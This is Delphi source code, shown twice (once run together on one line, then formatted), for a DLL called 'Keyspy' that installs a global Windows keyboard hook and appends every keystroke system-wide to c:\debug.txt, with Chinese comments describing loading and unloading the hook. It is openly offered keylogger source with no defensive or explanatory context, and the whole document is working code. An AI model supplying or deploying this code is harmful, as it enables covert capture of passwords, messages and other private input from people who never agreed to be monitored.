Function SetKeyHook : Bool; stdcall external 'Keyspy.dll' ; Function EndKeyHook : Bool; Stdcall external 'Keyspy.dll' ;library Keyspy;uses Windows, Messages, hookproc1 in 'hookproc1.pas';Exports SetKeyHook, EndKeyHook; begin NextHookProc := 0; ProcSaveExit := ExitProc; Exitproc :=@KeyHookexit; end.unit hookproc1; interface uses Windows, Messages, SysUtils, Controls, StdCtrls; var nexthookproc:hhook; procsaveexit:pointer; function keyboardhook(icode:integer;wparam:wparam; lparam:lparam):lresult;stdcall;export; function setkeyhook:bool; stdcall; //加载钩子 export; function endkeyhook:bool; stdcall;//卸载钩子 export; procedure keyhookexit;far; const afilename='c:\debug.txt';//将键盘输入动作写入文件中 var debugfile:textfile; implementation function keyboardhook(icode:integer;wparam:wparam; lparam:lparam):lresult;//stdcall;export; begin if icode<0 then begin result:=callnexthookex(nexthookproc,icode,wparam,lparam); exit; end; assignfile(debugfile,afilename); append(debugfile); if getkeystate(vk_return)<0 then begin writeln(debugfile,''); write(debugfile,char(wparam)); end else write(debugfile,char(wparam)); closefile(debugfile); result:=0; end; function setkeyhook:bool;//加载钩子 export; Begin Result := False; If nexthookproc <>0 Then Exit; nexthookproc := SetWindowsHookEx(WH_KEYBOARD,keyboardhook,Hinstance,0); Result := nexthookproc <>0; End; function endkeyhook:bool; // export; begin if nexthookproc<>0 then begin unhookwindowshookex(nexthookproc); nexthookproc:=0; messagebeep(0); end; result:=nexthookproc=0; end; procedure keyhookexit;far; begin if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit; end; end.
Function EndKeyHook : Bool; Stdcall external 'Keyspy.dll' ;library Keyspy;uses
Windows,
Messages,
hookproc1 in 'hookproc1.pas';Exports
SetKeyHook,
EndKeyHook;
begin
NextHookProc := 0;
ProcSaveExit := ExitProc;
Exitproc :=@KeyHookexit;
end.unit hookproc1;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool; stdcall; //加载钩子 export;
function endkeyhook:bool; stdcall;//卸载钩子 export;
procedure keyhookexit;far;
const
afilename='c:\debug.txt';//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;//stdcall;export;
begin
if icode<0 then
begin
result:=callnexthookex(nexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function setkeyhook:bool;//加载钩子 export;
Begin
Result := False;
If nexthookproc <>0 Then Exit;
nexthookproc := SetWindowsHookEx(WH_KEYBOARD,keyboardhook,Hinstance,0);
Result := nexthookproc <>0;
End;
function endkeyhook:bool; // export;
begin
if nexthookproc<>0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=nexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit; end;
end.